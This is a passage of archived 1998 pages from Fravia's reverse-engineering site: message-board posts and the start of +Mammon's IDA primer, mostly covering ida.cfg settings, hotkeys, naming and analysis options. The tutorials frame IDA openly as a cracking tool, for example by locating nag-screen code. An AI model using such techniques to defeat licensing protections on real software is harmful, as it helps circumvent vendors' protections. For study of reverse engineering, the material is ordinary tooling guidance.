some other disassembler. IDA treats an executable file as a structured object which has been created from
a database representing the knowledge of the programmer (called the source code). IDA wants to help a
RevEnger in recreating this database and has many features for this very purpose. since this is not an IDA
tutorial, i won't go into details, but wanted you to have some picture on the philosophy behind IDA. so, if
you look at IDA with a different eye, you will understand the enthusiasm of real IDA users very soon. if
you have more questions you can try to use the various discussion forums or IRC or email...

regards,
the owl

http://www.instinct.org/fravia/idaprim.htm (1 of 6) [2/7/2001 3:08:48 PM]


Fravia's Message Board - IDA primer

_Mammon+ (1)

IDA really changes the way you think about disassemblers. It's like having an intelligent hex editor--the
entire file is avail for viewing (unlike in W32dasm, which shows you what it feels to be the important
sections) meaning you can root out code hidden in the .data or .rsrc segments. You also have a c-style
script language (which contains routines for changing data and code, reading and writing bytes/files,
prompting the user, re-analyzing the code...everythign you need) to automate things like, say, parsing
string tables or decrypting packed code.

The key to IDA is that you do NOT save the text to a file and search the file; rather you view the listing in
IDA and root things out using the View-Functions and View-Names commands to find subroutines. You
can label code on-the fly using the ";" operator, so that if you label
:010100 call CreateWindow
to "Nagscreen", then all references to that location will change from
jz 08
to
jz Nagscreen
As you can see, this helps tremendously when poring through huge code listings.

In addition, the comments area of the code will often have address references showing code that refers to
that location or code that is referred by that location. These are known as X-Refs and the are *very*
useful...double clicking on them will bring you to the code that referred to/is reffered by your current
location (ESC brings you back). This allows you to "trace" through the code --in a rudimentary manner of
course-- without running the program. Try it, you'll like it.

A few hints...in the loader screen, make sure "Load Resources" is checked and "Rename DLL entries" is
NOT checked. You should of course make sure that the system directory points to c:\\windows\\system or
c:\\winnt\\system32 or /usr/lib depending on OS. To search for strings, you can try "find text in core", but
it is much easier to go to View-Names and look for any name beginning with "a" (IDA's identifier for
"ASCII string").... these will be the strings in the program. Also, in Options-TextRepresentation, display 6
to 8 opcode bytes...this will give the opcodes of the file and cause things to make a lot more sense (in case
IDA is interpreting data as code).

It does not hurt to know the PE file format either (and ELF, if you will be doing Linux...you can run IDA
under DOSEMU and use it to disassemble ELF files)...IDA splits the file into its native segments (.text
=code, .data =data, .stack =empty, .bss =data/empty, .rsrc =resources, .idata =imports, .edata =exports);
you simply have to look in the various segments for the information you need (if you want to know the
exports for a DLL, look at the .edata section; if you want to know what API functions a program uses,
browse the .idata section, for string tables check the .rsrc section).

(deep breath)
Now, for linux....
your friends are strace and od. I have done quite a bit of aliasing with od to use it for different things, for
example:
alias hexdump='od -A x -t x2'

http://www.instinct.org/fravia/idaprim.htm (2 of 6) [2/7/2001 3:08:48 PM]


Fravia's Message Board - IDA primer

alias asciidump = 'od -A x -t a'


(actually I combine these last two)
alias ss='od -s'

strace will show you all system calls made by a program. IDA will disassemble linux files. GDB will
debug them (but who needs to do that?). It's fairly straightforward, once you get into it...but then again,
very little linux software needs cracking :)

have fun
_m

_Mammon+ (2)

There are a few things that make IDA easier to use. I can't think of any tutorials on IDA offhand, I think
Ghiribizzo did one on Greythorne's site...

But anyhow:
ida.cfg is your equivalent to the winice.dat file, it allows you to make the program easier to use.

look for:
SCREEN_MODE
line and change the parameters to
SCREEN_MODE = 0x6030
This will allow you to have multiple windows in IDA, so that you do not have to only see one screen at a
time. You may want to change the font for the DOS box as well.

below this you have the hotkey definitions...print them out or change them to your liking.

In the "Second Pass" area there is a Text Representation area that I have adjusted as follows (not much,
but a little bit helps):
// Text representation
//
//------------------------------------------ -----

OPCODE_BYTES = 8
INDENTION = 0
COMMENTS_INDENTION = 30
MAX_TAIL = 16
MAX_XREF_LENGTH = 80
MAX_DATALINE_LENGTH = 70
SHOW_AUTOCOMMENTS = NO
SHOW_BAD_INSTRUCTIONS = NO
SHOW_BORDERS = YES

http://www.instinct.org/fravia/idaprim.htm (3 of 6) [2/7/2001 3:08:48 PM]


Fravia's Message Board - IDA primer

SHOW_EMPTYLINES = YES
SHOW_LINEPREFIXES = YES
SHOW_SEGMENTS = YES
USE_SEGMENT_NAMES = YES
SHOW_REPEATABLE_COMMENTS = YES
SHOW_VOIDS = NO
SHOW_XREFS = 10
SHOW_XREF_VALUES = YES
SHOW_SEGXREFS = NO
SHOW_SOURCE_LINNUM = YES
SHOW_ASSUMES = YES
SHOW_ORIGINS = NO
USE_TABULATION = YES

...hope the board doesn't hose the formatting too much :)

the last thing to change is the


WINDIR
line to
WINDIR = "c:\\winnt\\system32"
or
WINDIR = "c:\\windows\\system"

...the rest of the file you do not need to worry about.

Now, the rest of it is just getting use to IDA. Heed OWL's words: it is designed to produce compilable
source code, not to do a "quick crack". When you start off, cracking with IDA will take you ten times
longer than cracking with W32dasm, of course using soft-ice; when you get used to it, you will crack 10x
as fast in IDA and never touch soft-ice again (as Quine said, how many times do you really NEED to be in
ring 0 code?).

Now, for IDA's "strange names".


the "a" prefix stands for "ASCII String". You can change it in ida.cfg in the line
ASCII_PREFIX = "a"
the prefix "j_" stands for "jump to location labelled:"
the prefix "sub_" stands for "subroutine at address:"

Now, let's just say that you open explorer.exe in IDA. you want to see what the exports are. You can either
1) View-Segments, look for .idata and jump to that segment...which isn't here (for some reason they are in
_rdata) so we
2) View-Names, and look for API functions. Wow, there are a ton. A good one might be
CreateWindowExW. Doubleclick that name, and the code window will jump to the imports section. There
will be a line with a yellow label (white is comment) CreateWindowExW about 10 (the max I allowed in
my ida.cfg; usually it is 2) blue XREFs (things like sub_159295F). These are locations that call
CreateWindow; double click on any of them to view the code. Press Esc to come back to the

http://www.instinct.org/fravia/idaprim.htm (4 of 6) [2/7/2001 3:08:48 PM]


Fravia's Message Board - IDA primer

CreateWindow imports area.

Well, that's neat, but how do you search for strings? You can try Navigate-SearchFor-Text, though it is
slow and the results are printed in the Message (yellow-on-blue) window if nothing is found. I prefer
either browsing the Names window for entries beginning with "a" 9they are all clustered together).
Actually, I lie, I have written IDc scripts to extract the strings and imports for me :)

OK, this is getting long. Important things to remember:


* IDA is not w32dasm and requires a different approach
* Use the Names window
* Learn to write IDC scripts (they help a lot)
* Know the file format (i.e., where the imports are)
* Always define data strings when you find them
ans
* Always Name (and comment!) code locations !!!

I cannot stress this last one enough.

_m

fravia+,

I just read the IDA page in the new section and thought I might be able to add something helpful that I
discovered recently.

IDA by default prefixes string names with an "a". One of the other things it does is strip out characters that
may affect recompilation. From a crackers point of view, this can increase the time an tedium involved in
our pursuit.

For example, the string "%s-%c%c-%d" would be converted to "asccd", which is nowhere near as obvious.
Sure, you can click on the reference and be taken to the actual string, but that's an extra click for every
string you want to look at.

The solution can be found in the ida.cfg file under the NameChars section. The heading states, "the
following characters are allowed in user-defined names," and looks like this:

NameChars =
"$?@" // asm specific character
"_0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

What the comment doesn't tell you is that autogenerated names are considered user-defined. That means
that only the above chars can be display in a name. Phooey! That certainly detracts from the code
readability. Let's fix that.

http://www.instinct.org/fravia/idaprim.htm (5 of 6) [2/7/2001 3:08:48 PM]


Fravia's Message Board - IDA primer

Change the entry to read something like this:

NameChars =
" !\"#$%&'()*+,-./0123456789:;<=>?"
"@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"
"`abcdefghijklmnopqrstuvwxyz{|}~";

Now we can see our "%s-%c%c-%d" string the way it is in the program!

edison (No, not ed!son)

in fieri... October 1998

You are deep inside fravia's page of reverse engineering, choose your way out:

Our Tools
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/idaprim.htm (6 of 6) [2/7/2001 3:08:48 PM]


mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer

+MAMMON'S GREAT IDA PRIMER

How to use our tools


(courtesy of fravia's pages of reverse engineering)

A great IDA primer


by good wizard +Mammon_
30 October 1998 ~ updated 25 November 1998

Mammon_'s Tales to Fravia's Grandson


...An IDA Primer...

Contents
--------
*Introduction
*Configuring IDA
*Loading a program
*Viewing Imports
*Viewing Exports
*Viewing Strings/Resources
*Searching for Strings/Code
*Location names
*Working with IDC scripts
*Producing an Output File
*Advanced Techniques

Introduction
------------
Ok, this is a long document for "the basics", mostly due to the Configuration section. New users may
want to skip this section, or simply apply the changes suggested therein without reading the explanations.
Also, some parts of the "Advanced Techniques" may get lengthy as well.

Why is IDA so useful? Because it can do anything. IDA will change the way you think about disassemblers; it
http://www.instinct.org/fravia/mamm_gip.htm (1 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
will change the way you think about cracking. W32Dasm? A toy. Soft-Ice? Unnecessary. When you have a
disassembler
that lets you follow the flow of execution by tapping the keyboard, backtrace just as easily, name variable
addresses/functions, view the entire program as opcodes or assembly, change code to data and back again
according
to your whim, and even run limited C programs to perform operations on the code from searching and parsing
translating and patching...why go somewhere else?

IDA is a reverse engineer's tool. Like many such tools, it is incredibly useful for crackers...yet it is no
designed for them. It is huge, it is complex, it requires a lot of studying and tuning to get it to perform
What follows is an attempt to demonstrate how to get the most out of IDA when getting it "straight out of t
box": configuration changes are suggested, macros are provided, and a basic tour of using the program in th
manner of W32Dasm is attempted as well. By the end of this document you should know well IDA's capabilities
and
potential; you should also realize how to track down API calls, string references, and specific opcodes.

As a tool for engineers, IDA requires that you know what you are doing. The more you know, the more you wil
get
out of it. At the very least I would recommend reading the PE file format reference at
http://www.microsoft.com/win32dev/base/pefile.htm
Cristina Cifuentes' doctoral thesis (selectively, of course) at
http://www.cs.uq.edu.au/groups/csm/dcc.html#thesis
and of course the IDA home page itself at
http://www.unibest.ru/~ig/index.html
...That should be enough to get you familiar enough with disassembling and the PE file format to use
IDA to its greatest potential.

What are all these IDA files? Yes, IDA is huge, and some of the files may be useless to you. Here is a quic
overview:
*.CFG -- IDA Configuration Settings
IDA.KEY -- Registration File
IDA2.EXE -- OS/2 Executable
IDAX.EXE -- DOS4/GW Executable
IDAW.EXE -- Win32 Executable
IDA.INT -- Auto-generated comments
*.LDO -- File loader for OS/2 Executable (ex PE.LDO = PE File Loader)
*.LDX -- File loader for DOS4/GW Executable
*.LDW -- File loader for Windows Executable
*.DLL -- Disassembler for OS/2 Executable (ex PC.DLL = PC Disassembler)
*.D32 -- Disassembler for DOS4/GW Executable
*.W32 -- Disassembler for Windows Executable
/IDC -- IDC macro scripts and include files
http://www.instinct.org/fravia/mamm_gip.htm (2 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
/IDS -- IDS files for commenting/naming imports
/Sig -- FLIRT/Compiler signature files (for recognizing target's compiler)

Configuring IDA
---------------
In the \IDA37? directory, locate the file Ida.cfg and open it in any text editor.
The file is divided into two main sections, First Pass and Second Pass, each of
which has different configuration options: the first pass contains the file
extension to processor type associations, the memory and screen configuration,
OS/2 options, and hotkey definitions; the second pass contains general program
parameters, code analysis configuration, format options for the code displayed,
ASCII string display options, displayable characters, macro definitions, and
processor options.

The areas of the configuration file that you will most likely want to change are:
*Screen Configuration
*Format Options (Text Representation)
*ASCII Display Options
*Processor Options

Some additional areas that you may want to configure are:


*Hotkey Definitions
*Code Analysis Options
*Displayable Characters

1. Screen Configuration
Out of the box, the IDA screen configuration section looks like this:
====================================================================
// Screen configuration (first pass)
// ---------------------------------
#ifdef __MSDOS__
SCREEN_MODE = 0 // Screen mode to use
// 0 - don't change screen mode
// DOS: AL for INT 10
#else
SCREEN_MODE = 0 // Screen mode to use
// high byte - cols, low byte - rows
// i.e. 0x5020 is 80cols, 32rows
#endif
SCREEN_PALETTE = 0 // Screen palette:
// 0 - automatic
http://www.instinct.org/fravia/mamm_gip.htm (3 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// 1 - B & W
// 2 - Monochrone
// 3 - Color
====================================================================
The MD-DOS SCREEN_MODE anf the SCREEN_PALETTE need not change. If you are using
Windows, the second ("else) SCREEN_MODE will determine your screen size. Note that
the col/row numbers are in hexadecimal, thus 0x5020 is 80x32 in decimal. I have found
that 0x5530 works best on an 800x600 resolution screen.

2. Text Representation
Initially, the Text Representation section is given as follows:
====================================================================
// Text representation
//-------------------------------------------------------------------------
OPCODE_BYTES = 0 // don't display bytes of instruction/data
INDENTION = 16 // Indention of instructions
COMMENTS_INDENTION = 40 // Indention for on-line comments
MAX_TAIL = 16 // Tail depth
MAX_XREF_LENGTH = 80 // Maximal length of line with cross-references
MAX_DATALINE_LENGTH = 70 // Data directives (db,dw, etc):
// max length of argument string
SHOW_AUTOCOMMENTS = NO // Don't show silly comments
SHOW_BAD_INSTRUCTIONS = NO // Don't bother about instruction lengthes
SHOW_BORDERS = YES // Borders between data/code
SHOW_EMPTYLINES = YES // Generate empty line to make
// text more readable
SHOW_LINEPREFIXES = YES // Show line prefixes (1000:0000)
SHOW_SEGMENTS = YES // Show segments in addresses
USE_SEGMENT_NAMES = YES // Show segment names instead of numbers
SHOW_REPEATABLE_COMMENTS = YES // Of course, use repeatable comments
// Disabling this increases IDA speed.
SHOW_VOIDS = NO // Don't display marks
SHOW_XREFS = 2 // Show 2 cross-references
SHOW_XREF_VALUES = YES // If not, xrefs are displayed
// as "..."
SHOW_SEGXREFS = YES // Show segment part of addresses
// in cross-references
SHOW_SOURCE_LINNUM = YES // Show source line numbers
// (used in .obj files and java)
SHOW_ASSUMES = YES // Generate 'assume' directives
SHOW_ORIGINS = YES // Generate 'org' directives
USE_TABULATION = YES // Use '\t' in output file
http://www.instinct.org/fravia/mamm_gip.htm (4 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
====================================================================
Of course this section is modified to suit taste, and can be configured through the
Options-Text Representation menu item (though changes made within IDA are saved only
for the current project). I usually use the following changes:
====================================================================
OPCODE_BYTES = 6 // I want the hex codes!
INDENTION = 0 // Save some space
COMMENTS_INDENTION = 30 // Save some space
MAX_DATALINE_LENGTH = 100 // These can get long
SHOW_BAD_INSTRUCTIONS = YES // bother about instruction lengthes
SHOW_BORDERS = NO // why border?
SHOW_EMPTYLINES = NO // These lines waste space
SHOW_XREFS = 15 // Show a ton of cross-references
SHOW_ORIGINS = NO // Hide 'org' directives
====================================================================

3. ASCII Strings & Names


Here are the default settings that come with IDA:
====================================================================
// ASCII strings & names
//-------------------------------------------------------------------------
ASCII_GENNAMES = YES // Generate names when making
// an ASCII string
ASCII_TYPE_AUTO = YES // Should IDA mark generated ascii names
// as 'autogenerated'?
// Autogenerated names will be deleted
// when the ascii string is deleted
// Also, they are displayed with the
// same color as dummy names.
ASCII_LINEBREAK = '\n' // This char forces IDA
// to start a new line
ASCII_PREFIX = "a" // This prefix is used when a new
// name is generated
#define ASCII_STYLE_C 0x00000000// Character-terminated ASCII string
#define ASCII_STYLE_PASCAL 0x00000001// Pascal-style ASCII string (length byte)
#define ASCII_STYLE_LEN2 0x00000002// Pascal-style, length has 2 bytes
#define ASCII_STYLE_UNICODE 0x00000003// Unicode string
ASCII_STYLE = ASCII_STYLE_C // Default is C-style
ASCII_SERIAL = NO // Serial names are disabled
ASCII_SERNUM = 0 // Number to start serial names
ASCII_ZEROES = 0 // Number of leading zeroes in
// serial names
http://www.instinct.org/fravia/mamm_gip.htm (5 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// type of generated names: (dummy names)
#define NM_REL_OFF 0
#define NM_PTR_OFF 1
#define NM_NAM_OFF 2
#define NM_REL_EA 3
#define NM_PTR_EA 4
#define NM_NAM_EA 5
#define NM_EA 6
#define NM_EA4 7
#define NM_EA8 8
#define NM_SHORT 9
#define NM_SERIAL 10
DUMMY_NAMES_TYPE = NM_REL_OFF
MAX_NAMES_LENGTH = 15 // Maximal length of new names
// (you may specify values up to 120)
// Types of names that should be included into the list of names
// (this list usually appears by pressing Ctrl-L)
// normal 1
// public 2
// auto 4
// weak 8
LIST_NAMES = 0x07 // default: include normal, public, weak
...and a ton of demangling info...
====================================================================
What's the big deal? It's only strings... Well, to tell the truth, a string is just
a collection of bytes virtually indistinguishable--to the untrained eye--from opcode
bytes. IDA will pick up a lot of strings, but it has to have a default string type...
hence the ASCII_STYLE definition. This defaults to ASCII_STYLE_C, but you may want to
change it to ASCII_STYLE__UNICODE if you will be dealing primarily with Windows 95/NT
programs. [Note: You can change string types dynamically in IDA using the Options->ASCII
Strings Style menu item, in case your target has multiple string types...notice also that
from within IDA you can define different "end characters" from 1 to 2 bytes...this is very
handy for special "internal" data types that some targets use.]
Now, what about those weird name types? Here they are, translated:
// normal 1: this shows internal functions, etc
// public 2: this includes exports, entry points
// auto 4: this shows the irritating IDA names
// weak 8: this is useless ;)
#define NM_REL_OFF 0 = loc_0_1234 segbase relative to prog base & offset from segbase
#define NM_PTR_OFF 1 = loc_1000_1234 segment base address & offset from the segment base
#define NM_NAM_OFF 2 = loc_dseg_1234 (*) segment name & offset from the segment base
#define NM_REL_EA 3 = loc_0_11234 segment relative to base address & full address
http://www.instinct.org/fravia/mamm_gip.htm (6 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
#define NM_PTR_EA 4 = loc_1000_11234 segment base address & full address
#define NM_NAM_EA 5 = loc_dseg_11234 segment name & full address
#define NM_EA 6 = loc_12 full address (no leading zeroes)
#define NM_EA4 7 = loc_0012 full address (at least 4 digits)
#define NM_EA8 8 = loc_00000012 full address (at least 8 digits)
#define NM_SHORT 9 = dseg_1234 the same as (*) without data type specifier
#define NM_SERIAL 10= loc_1 enumerated names (1,2,3...

The first part determines what names are shown in the "Names" window; in general, the fewer the better.
If you want the Names to show only the exports of the program, choose 0x02. The next section determines
how internal addresses are referred to in the disassembled listing; if you like Sourcer's method
of defining "location1, location2, etc" you should try defaulting to NM_SERIAL; if you like the location
to show just the segment name and offset, use NM_SHORT. You can experiment with this using the Options->
Name Representation menu item in IDA.

I tend to set the following parameters:


ASCII_TYPE_AUTO = NO
ASCII_PREFIX = "str->"
MAX_NAMES_LENGTH = 15
LIST_NAMES = 0x03
DUMMY_NAMES_TYPE = NM_SHORT
**Note to use my "str->" prefix you will have to change the following line
NameChars = "$?@" // asm specific character
to
NameChars = "$?@->" // asm specific character
...see #7 below. This setup will fill the Names window with strings, exports, and imports.

4. Processor Specific Parameters


The PC-specific parameters for IDA are given as follows:
====================================================================
#ifdef __PC__ // INTEL 80x86 PROCESSORS
USE_FPP = YES
// Floating Point Processor
// instructions are enabled
WINDIR = "c:\\windows" // Default directory to look up for
// DLL files
OS2DIR = "c:\\os2" // OS/2 main directory (is used to
// look up DLLs)
// IBM PC specific analyser options
PC_ANALYSE_PUSH = YES // Convert immediate operand of "push" to offset
// In sequence
// push seg
http://www.instinct.org/fravia/mamm_gip.htm (7 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// push num
// IDA will try to convert to offset.
PC_ANALYSE_NOP = YES // Convert db 90h after "jmp" to "nop"
// Sequence
// jmp short label
// db 90h
// will be converted to
// jmp short label
// nop
PC_ANALYSE_MOVOFF = YES // Convert immediate operand of "mov reg,..." to offset
// In sequence
// mov reg, num
// mov segreg, immseg
// where
// reg - any general register
// num - a number
// segreg - any segment register
// immseg - any form of operand representing a segment
paragraph
// will be converted to an offset
PC_ANALYSE_MOVOFF2 = YES
// Convert immediate operand of "mov memory,..." to offset
// In sequence
// mov x1, num
// mov x2, seg
// where
// x1,x2 - any references to memory
// will be converted to an offset
// translation used to build an ASCII string name by its contents
// (now it is tuned for 866 codepage)
// the order and number of the string constants is important!

... a bunch of XLat stuff...

#endif // __PC__
====================================================================
As you can, see, there are a few useful disassembly options here, most of which
are already set. In fact, the only thing you should have to change is the following
line:
WINDIR = "c:\\windows\\system"
This will correctly locate the WinAPI DLLs--it is very important to set this!

5. Keyboard HotKey Definitions


http://www.instinct.org/fravia/mamm_gip.htm (8 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
This section is mostly a matter of personal taste, but I thought that I would draw attention to it.
Here are the default keyboard shortcuts (you may want to print this out):
"LoadFile" = 0 // Load additional file into database
"LoadIdsFile" = 0 // Load IDS file
"LoadDbgFile" = 0 // Load DBG file
"LoadSigFile" = 0 // Load SIG file
"Execute" = "F2" // Execute IDC file
"ExecuteLine" = "Shift-F2" // Execute IDC line
"Shell" = "Alt-Z"
"About" = 0
"SaveBase" = "Ctrl-W"
"SaveBaseAs" = 0
"Abort" = 0 // Abort IDA, don't save changes
"Quit" = "Alt-X" // Quit to DOS, save changes
"ProduceMap" = "Shift-F10" // Produce MAP file
"ProduceAsm" = "Alt-F10"
"ProduceLst" = 0
"ProduceExe" = "Ctrl-F10"
"ProduceDiff" = 0 // Generate difference file
"DumpDatabase" = 0 // Dump database to IDC file
"EditFile" = 0 // Small text editor
"JumpAsk" = 'G'
"JumpName" = "Ctrl-L"
"JumpSegment" = "Ctrl-S"
"JumpSegmentRegister" = "Ctrl-G"
"JumpQ" = "Ctrl-Q"
"JumpPosition" = "Ctrl-M"
"JumpXref" = "Ctrl-X"
"JumpOpXref" = "X"
"JumpFunction" = "Ctrl-P"
"JumpEntryPoint" = "Ctrl-E"
"JumpEnter" = "Enter" // jump to address under cursor
"Return" = "Esc"
"UndoReturn" = "Ctrl-Enter" // undo the last Esc
"EmptyStack" = 0 // make the jumps stack empty
"SetDirection" = "Tab"
"MarkPosition" = "Alt-M"
"JumpVoid" = "Ctrl-V"
"JumpCode" = "Ctrl-C"
"JumpData" = "Ctrl-D"
"JumpUnknown" = "Ctrl-U"
"JumpExplored" = "Ctrl-A"
http://www.instinct.org/fravia/mamm_gip.htm (9 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
"AskNextImmediate" = "Alt-I"
"JumpImmediate" = "Ctrl-I"
"AskNextText" = "Alt-T"
"JumpText" = "Ctrl-T"
"AskBinaryText" = "Alt-B"
"JumpBinaryText" = "Ctrl-B"
"JumpNotFunction" = "Alt-U"
"MakeJumpTable" = "Alt-J"
"MakeAlignment" = 'L'
"MakeCode" = 'C'
"MakeData" = 'D'
"MakeAscii" = 'A'
"MakeArray" = '*'
"MakeUnknown" = 'U'
"MakeVariable" = 0
"SetAssembler" = 0
"SetNameType" = 0
"SetDemangledNames" = 0
"SetColors" = 0
"MakeName" = 'N'
"MakeAnyName" = "Ctrl-N"
"ManualOperand" = "Alt-F1"
"MakeFunction" = 'P'
"EditFunction" = "Alt-P"
"DelFunction" = 0
"FunctionEnd" = 'E'
"OpenStackVariables" = "Ctrl-K" // open stack variables window
"ChangeStackPointer" = "Alt-K" // change value of SP
"MakeComment" = ':'
"MakeRptCmt" = ';'
"MakePredefinedComment" = "Shift-F1"
"MakeExtraLineA" = "Ins"
"MakeExtraLineB" = "Shift-Ins"
"OpNumber" = '#'
"OpHex" = 'Q'
"OpDecimal" = 'H'
"OpOctal" = 0
"OpBinary" = 'B'
"OpChar" = 'R'
"OpSegment" = 'S'
"OpOffset" = 'O'
"OpOffsetCs" = "Ctrl-O"
http://www.instinct.org/fravia/mamm_gip.htm (10 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
"OpAnyOffset" = "Alt-R"
"OpUserOffset" = "Ctrl-R"
"OpStructOffset" = 'T'
"OpStackVariable" = 'K'
"OpEnum" = 'M'
"ChangeSign" = '-'
"CreateSegment" = 0
"EditSegment" = "Alt-S"
"KillSegment" = 0
"MoveSegment" = 0
"SegmentTranslation" = 0
"SetSegmentRegister" = "Alt-G"
"SetSegmentRegisterDefault" = 0
"ShowRegisters" = "Space"
"OpenSegmentRegisters" = 0 // open various windows:
"OpenSegments" = 0
"OpenSelectors" = 0
"OpenNames" = 0
"OpenXrefs" = 0
"OpenFunctions" = 0 // open functions window
"OpenStructures" = 0 // open structures window
"OpenEnums" = 0 // open enums window
"OpenSignatures" = 0 // open signatures window
"PatchByte" = 0
"PatchWord" = 0
"Assemble" = 0
"TextLook" = 0 // set text representation
"SetAsciiStyle" = "Alt-A" // set ascii strings style
"SetAsciiOptions" = 0 // set ascii strings options
"SetCrossRefsStyle" = 0 // set cross-referneces style
"SetDirectives" = 0 // setup assembler directives
"ToggleDump" = "F4" // show dump or normal view
"SetAuto" = 0 // background analysis
"ViewFile" = 0
"Calculate" = '?'
"ShowFlags" = 'F'
"WindowOpen" = "F3"
"WindowMove" = "Ctrl-F5"
"WindowZoom" = "F5"
"WindowPrev" = "Shift-F6"
"WindowNext" = "F6"
"WindowClose" = "Alt-F3"
http://www.instinct.org/fravia/mamm_gip.htm (11 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
"WindowTile" = "F7"
"WindowCascade" = "F8"
"SetProcessor" = 0
"AddStruct" = "Ins" // add struct type
"DelStruct" = "Del" // del struct type
"ExpandStruct" = "Ctrl-E" // expand struct type
"ShrinkStruct" = "Ctrl-S" // shrink struct type
"MoveStruct" = 0 // move struct type
"DeclareStructVar" = "Alt-Q" // declare struct variable
"AddEnum" = "Ins" // add enum
"DelEnum" = "Del" // del enum
"EditEnum" = "Ctrl-E" // edit enum
"AddConst" = "Ctrl-N" // add new enum member
"EditConst" = 'N' // edit enum member
"DelConst" = 'U' // delete enum member

Quite a few, eh? Basically, anything in IDA can have a hotkey. Note all of the 0's in the
above list: these options have not hotkeys by default. It is generally good to set frequently-
use operations (ASCII text representation, View Names, Search, etc) up as HotKeys, and to change
hotkeys which make no sense into better menmonics.

6. Analysis Parameters
IDA by default has the following Anaylsis Parameters set:
// Analysis parameters
//-------------------------------------------------------------------------
ENABLE_ANALYSIS = YES // Background analysis is enabled
SHOW_INDICATOR = YES // Show background analysis indicator
#define AF_FIXUP 0x0001 // Create offsets and segments using fixup info
#define AF_MARKCODE 0x0002 // Mark typical code sequences as code
#define AF_UNK 0x0004 // Delete instructions with no xrefs
#define AF_CODE 0x0008 // Trace execution flow
#define AF_PROC 0x0010 // Create functions if call is present
#define AF_USED 0x0020 // Analyse and create all xrefs
#define AF_FLIRT 0x0040 // Use flirt signatures
#define AF_PROCPTR 0x0080 // Create function if data xref data->code32 exists
#define AF_JFUNC 0x0100 // Rename jump functions as j_...
#define AF_NULLSUB 0x0200 // Rename empty functions as nullsub_...
#define AF_LVAR 0x0400 // Create stack variables
#define AF_TRACE 0x0800 // Trace stack pointer
#define AF_ASCII 0x1000 // Create ascii string if data xref exists
#define AF_IMMOFF 0x2000 // Convert 32bit instruction operand to offset
#define AF_DREFOFF 0x4000 // Create offset if data xref to seg32 exists
http://www.instinct.org/fravia/mamm_gip.htm (12 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
#define AF_FINAL 0x8000 // Final pass of analysis
// See also ANALYSIS2, bit AF2_DODATA
ANALYSIS = 0xFFFF // This value is combination of the defined
// above bits.
#define AF2_JUMPTBL 0x0001 // Locate and create jump tables
#define AF2_DODATA 0x0002 // Coagulate data segs in the final pass
ANALYSIS2 = 0x0001
====================================================================
Generally, you will not need to change any of these parameters. In case you feel
like playing with them, though, here is the IDA help file description of each:

Create offsets and segments using fixup info


IDA will use relocation information to make the disassembly
nicer. In particular, it will convert all data items with
relocation information to words or dwords like this:
dd offset label
dw seg seg000
If an instruction has a relocation information attached to it,
IDA will convert its immediate operand to an offset or segment:
mov eax, offset label
You can display the relocation information attached to the current
item by using show @0:953[internal] flags command.
Mark typical code sequences as code
IDA knows some typical code sequences for each processor.
For example, it knows about typical sequence
push bp
mov bp, sp
If this option is enabled, IDA will search for all typical sequences
and convert them to instructions even if there are no references
to them. The search is performed at the loading time.
Delete instructions with no xrefs
This option allows IDA to undefine unreferences instructions.
For example, if you @0:914[undefine] an instruction at the start of a
function, IDA will trace execution flow and delete all instructions
that lose references to them.
Trace execution flow
This options allows IDA to trace execution flow and convert all
references bytes to @0:916[instructions].
Create functions if call is present
This options allows IDA to create @0:933[function] (proc) if a call
instruction is present. For example, the presence of:
call loc_1234
http://www.instinct.org/fravia/mamm_gip.htm (13 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
leads to creation of a function at label loc_1234
Analyse and create all xrefs
Without this option IDA will not thoroughly analyse the program.
If this option is disabled, IDA will simply trace execution flow,
nothing more (no xrefs, no additional checks, etc)
Use flirt signatures
Allows usage of FLIRT technology
Create function if data xref data->code32 exists
If IDA encounters a data references from DATA segment to 32bit
CODE segment, it will check for the presence of meaningful
(disassemblable) instruction at the target. If there is an
instruction, it will mark is as an instruction and will create
a function there.
Rename jump functions as j_...
This option allows IDA to rename simple functions containing only
jmp somewhere
instruction to "j_somewhere".
Rename empty functions as nullsub_...
This option allows IDA to rename empty functions containing only
a "return" instruction as "nullsub_..."
(... is replaced by a serial number: 0,1,2,3...)
Create stack variables
This option allows IDA to automatically create stack variables and
function parameteres.
Trace stack pointer
This option allows IDA to @0:743[trace] value of SP register.
Create ascii string if data xref exists
If IDA encounters a data reference to an undefined item, it
checks for the presence of ASCII string at the target. If the length
of ASCII string is big enough (more than 4 chars in 16bit or data
segments; more than 16 chars otherwise), IDA will automatically create
an @0:918[ASCII] string.
Convert 32bit instruction operand to offset
This option works only in 32bit segments.
If an instruction has an immediate operand and the operand
can be represented as a meaningful offset expression, IDA will
convert it to an offset. However, the value of immediate operand
must be higher than 0x10000.
Create offset if data xref to seg32 exists
If IDA encounters a data reference to 32bit segment and the target
contains 32bit value which can be represented as an offset expression,
IDA will convert it to an offset
http://www.instinct.org/fravia/mamm_gip.htm (14 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Make final analysis pass
